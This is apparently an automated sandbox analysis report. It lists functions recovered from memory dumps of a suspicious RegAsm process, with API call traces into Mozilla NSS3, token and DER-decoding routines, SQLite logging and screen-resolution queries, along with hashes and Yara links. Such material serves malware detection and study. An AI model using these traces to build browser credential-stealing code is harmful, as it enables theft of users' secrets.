Opcode ID: b16f503a5bd05a17e67e5c48cbb201c43e980bd0e748e5d870321c6a04a1eecb
Instruction ID: 18abd46b0acc326796de312a3aa411bcb2bd5aaf05078093c7702539340042b6
Opcode Fuzzy Hash: b16f503a5bd05a17e67e5c48cbb201c43e980bd0e748e5d870321c6a04a1eecb
Instruction Fuzzy Hash: 8FB1AF70E152159FCB18CFADC885AEEB7B5BF48304F148029E885B7B46D778D981CBA1

Function 6C980F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C980F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C980F84

Part of subcall function 6C9DB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAB18D0,?), ref: 6C9DB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C99F59B,6CAA890C,?), ref: 6C980FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C980FC1

Part of subcall function 6C9E0BE0: malloc.MOZGLUE(6C9D8D2D,?,00000000,?), ref: 6C9E0BF8
Part of subcall function 6C9E0BE0: TlsGetValue.KERNEL32(6C9D8D2D,?,00000000,?), ref: 6C9E0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C980FDB
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C980FEF
PL_FreeArenaPool.NSS3(?), ref: 6C981001
PL_FinishArenaPool.NSS3(?), ref: 6C981009

Strings

security, xrefs: 6C980F5C

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 7ca7ca502f3d5452d60e00ea101e7c44493f804a63e72c0c1f8b93c58148d314
Instruction ID: 133a58ecf6a8053d78af5ab5700fc1877d613d015d13572315dc8a350a18b30e
Opcode Fuzzy Hash: 7ca7ca502f3d5452d60e00ea101e7c44493f804a63e72c0c1f8b93c58148d314
Instruction Fuzzy Hash: 7D2109B1900304ABD7119F24DC41AAA77B8EF69258F048518FC189B701F731D555CBE2

Function 6C986DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C987D8F,6C987D8F,?,?), ref: 6C986DC8

Part of subcall function 6C9DFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C9DFE08
Part of subcall function 6C9DFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C9DFE1D
Part of subcall function 6C9DFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C9DFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C987D8F,?,?), ref: 6C986DD5

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAA8FA0,00000000,?,?,?,?,6C987D8F,?,?), ref: 6C986DF7

Part of subcall function 6C9DB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAB18D0,?), ref: 6C9DB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C986E35

Part of subcall function 6C9DFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C9DFE29
Part of subcall function 6C9DFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C9DFE3D
Part of subcall function 6C9DFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C9DFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C986E4C

Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAA8FE0,00000000), ref: 6C986E82

Part of subcall function 6C986AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C98B21D,00000000,00000000,6C98B219,?,6C986BFB,00000000,?,00000000,00000000,?,?,?,6C98B21D), ref: 6C986B01
Part of subcall function 6C986AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C986B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C986F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C986F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAA8FE0,00000000), ref: 6C986F6B
PR_SetError.NSS3(FFFFE005,00000000,6C987D8F,?,?), ref: 6C986FE1

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: c1a0daa4c2e3e7c1e7a33b8fa0c36ca6ce1084cfd69d819e0128da7656c5703c
Instruction ID: 0c3766500612b7c9ebc17380e47a058f74e2c76e6621da10c6381e666df6082d
Opcode Fuzzy Hash: c1a0daa4c2e3e7c1e7a33b8fa0c36ca6ce1084cfd69d819e0128da7656c5703c
Instruction Fuzzy Hash: 83719471D216469FDB00CF55CD40BAA77B8BF68308F154629E858DBB11F770EAA4CB90

Function 6C9C0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9C1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9C1085
PK11_GetAllTokens.NSS3 ref: 6C9C10B1
free.MOZGLUE(?), ref: 6C9C1107
PR_SetError.NSS3(00000000,00000000), ref: 6C9C1172
free.MOZGLUE(?), ref: 6C9C1182
free.MOZGLUE(?), ref: 6C9C11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C9C11C5

Part of subcall function 6C9C52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C99EAC5,00000001), ref: 6C9C52DF
Part of subcall function 6C9C52C0: EnterCriticalSection.KERNEL32(?), ref: 6C9C52F3
Part of subcall function 6C9C52C0: PR_Unlock.NSS3(?), ref: 6C9C5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9C11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9C11F3

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 454159cc260949314f830bd7a28be24aa38dd533cd75e4dd0cea84482480ea46
Instruction ID: b100e076a1488dadb78b115790d486cc919d82a6d9c95a921cb803a7252d653b
Opcode Fuzzy Hash: 454159cc260949314f830bd7a28be24aa38dd533cd75e4dd0cea84482480ea46
Instruction Fuzzy Hash: DF61B3B0F013459BEB04DFA4D841BAEB7B9AF15348F144128EC19AB741EB31E945CB97

Function 6C9CADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE10
EnterCriticalSection.KERNEL32(?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C9AD079,00000000,00000001), ref: 6C9CAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAE7F
TlsGetValue.KERNEL32(?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAEF1
free.MOZGLUE(6C9ACDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9ACDBB,?), ref: 6C9CAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C9ACDBB,?,6C9AD079,00000000,00000001), ref: 6C9CAF30

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 078b74db598e1a9e2e3c25578bf7c3ade4cf966f2c0b9e54abdf6ec652d120ed
Instruction ID: 210b8cc107164a4ec5f6d916bf3e3ba19953a9add31772d369887d738208e0cf
Opcode Fuzzy Hash: 078b74db598e1a9e2e3c25578bf7c3ade4cf966f2c0b9e54abdf6ec652d120ed
Instruction Fuzzy Hash: B851B1B1A01602AFDB04DF29D885B55B7B8FF09318F544664E90897E12EB35F8A4CBD3

Function 6C9A4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9AAB7F,?,00000000,?), ref: 6C9A4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C9AAB7F,?,00000000,?), ref: 6C9A4CC8
TlsGetValue.KERNEL32(?,6C9AAB7F,?,00000000,?), ref: 6C9A4CE0
EnterCriticalSection.KERNEL32(?,?,6C9AAB7F,?,00000000,?), ref: 6C9A4CF4
PL_HashTableLookup.NSS3(?,?,?,6C9AAB7F,?,00000000,?), ref: 6C9A4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C9A4D10

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C9A4D26

Part of subcall function 6CA49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CA90A27), ref: 6CA49DC6
Part of subcall function 6CA49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CA90A27), ref: 6CA49DD1
Part of subcall function 6CA49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA49DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C9A4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C9A4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C9A4E02

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 9acff5671099e585f2f4f584559527aeff8aa5c9d1de8f71c21a1070bb7098e4
Instruction ID: 285fa3fa7ff523a4c0b132062fa84a1b8b44a62de3f13bf145c5e65a49cd1761
Opcode Fuzzy Hash: 9acff5671099e585f2f4f584559527aeff8aa5c9d1de8f71c21a1070bb7098e4
Instruction Fuzzy Hash: 7141B7B59006019FEB009F68EC4196677B8AF25219F195170ED0887B12FF31E969CBE1

Function 6C982E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C982CDA,?,00000000), ref: 6C982E1E

Part of subcall function 6C9DFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C989003,?), ref: 6C9DFD91
Part of subcall function 6C9DFD80: PORT_Alloc_Util.NSS3(A4686C9E,?), ref: 6C9DFDA2
Part of subcall function 6C9DFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C9E,?,?), ref: 6C9DFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C982E33

Part of subcall function 6C9DFD80: free.MOZGLUE(00000000,?,?), ref: 6C9DFDD1

TlsGetValue.KERNEL32 ref: 6C982E4E
EnterCriticalSection.KERNEL32(?), ref: 6C982E5E
PL_HashTableLookup.NSS3(?), ref: 6C982E71
PL_HashTableRemove.NSS3(?), ref: 6C982E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C982E96
PR_Unlock.NSS3 ref: 6C982EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C982EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C982EC5

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: f1dc8f01541d3e39f56cc534a902c4730bee7ac3a99e1116375ecd99f9af085d
Instruction ID: beafbb7ad573d5eacadccd054531895e0ed3541e6206a6a14d01c293a2a4d3fd
Opcode Fuzzy Hash: f1dc8f01541d3e39f56cc534a902c4730bee7ac3a99e1116375ecd99f9af085d
Instruction Fuzzy Hash: D7210A72A0160267EF145F24EC09A9A3B78DB6631DF084530ED1892752FB32D959D7F1

Function 6C90CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C90B999), ref: 6C90CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C90B999), ref: 6C90D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C90B999), ref: 6C90D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C90B999), ref: 6CA5972B

Strings

database corruption, xrefs: 6C90CFE7, 6C90D013, 6C90D028, 6C90D039, 6C90D03E, 6CA59786
%s at line %d of [%.10s], xrefs: 6C90CFEC, 6C90D018, 6C90D029, 6C90D03F, 6CA5978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C90CFDD, 6C90D00E, 6C90D022, 6C90D033, 6CA59780

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 614c1e9d4d059a2771e857f2f3f780e8c9c55a1ec0ec5d7f0c6b76a178f448a9
Instruction ID: 84d9ed2e3331f72539c13e62a071ee160d560327655fc9e2231277b6a315b7c4
Opcode Fuzzy Hash: 614c1e9d4d059a2771e857f2f3f780e8c9c55a1ec0ec5d7f0c6b76a178f448a9
Instruction Fuzzy Hash: F6611771A042108FD310CF29C840BA6BBF5EF55318F58856EE5499FB82D376D987C7A2

Function 6CA0EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CA2A4A1,?,00000000,?,00000001), ref: 6CA0EF6D

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

htonl.WSOCK32(00000000,?,6CA2A4A1,?,00000000,?,00000001), ref: 6CA0EFE4
htonl.WSOCK32(?,00000000,?,6CA2A4A1,?,00000000,?,00000001), ref: 6CA0EFF1
memcpy.VCRUNTIME140(?,?,6CA2A4A1,?,00000000,?,6CA2A4A1,?,00000000,?,00000001), ref: 6CA0F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CA2A4A1,?,00000000,?,00000001), ref: 6CA0F027

Strings

dtls13, xrefs: 6CA0EF33

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 4baa139320ada9bc4ebbfb3be00591d06f8011d4738659133c9b9769fb3c9ec8
Instruction ID: 843429d77348508c96400a23f12b4bd45ccbc0dc2f59e7b25bc74821a9c05fcb
Opcode Fuzzy Hash: 4baa139320ada9bc4ebbfb3be00591d06f8011d4738659133c9b9769fb3c9ec8
Instruction Fuzzy Hash: 0C31E371B01215AFC710DF28ED80B8AB7E4BF4938CF298129E8589B751E731E955CBE1

Function 6C98AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C98AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CAA9500,6C983F91), ref: 6C98AFD2

Part of subcall function 6C9DB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAB18D0,?), ref: 6C9DB095

DER_GetInteger_Util.NSS3(?), ref: 6C98B007

Part of subcall function 6C9D6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C981666,?,6C98B00C,?), ref: 6C9D6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C98B02F
PR_CallOnce.NSS3(6CAE2AA4,6C9E12D0), ref: 6C98B046
PL_FreeArenaPool.NSS3 ref: 6C98B058
PL_FinishArenaPool.NSS3 ref: 6C98B060

Strings

security, xrefs: 6C98AFB8

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 97607751f50b43cd5d4897d0d39c126be903cfc2d4abfa91ec36b55e91c0eb8a
Instruction ID: 66e6ac8a0f36708302ac06740712decd7165351760eaf790afa4d13d891918b6
Opcode Fuzzy Hash: 97607751f50b43cd5d4897d0d39c126be903cfc2d4abfa91ec36b55e91c0eb8a
Instruction Fuzzy Hash: 25310370405300DBDB108F249C40BAA77B8AF9A32CF184B1DE9A4ABB85E732D149C797

Function 00418260 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00F7AA80,00000000,00000000,00000000), ref: 00418295
GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
ReleaseDC.USER32(00000000,?), ref: 004182C2
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
wsprintfA.USER32 ref: 004182F0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

%dx%d, xrefs: 004182E7

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction ID: 994268d552e07794471dd3910f4d3ddbdeb6f1ac9b11d1c79e25ca2fe4432fdb
Opcode Fuzzy Hash: f0d4acb1ac753fb06a7b9db10b722e5fc8e176ad761074ecd0f0867b839b4748
Instruction Fuzzy Hash: 492130B1A40608AFDB10DFA4DC45FAEBBB9FB48710F104119F605A7290C779A901CBA5

Function 6C9CCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C9CCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C9CCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C9CD079

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

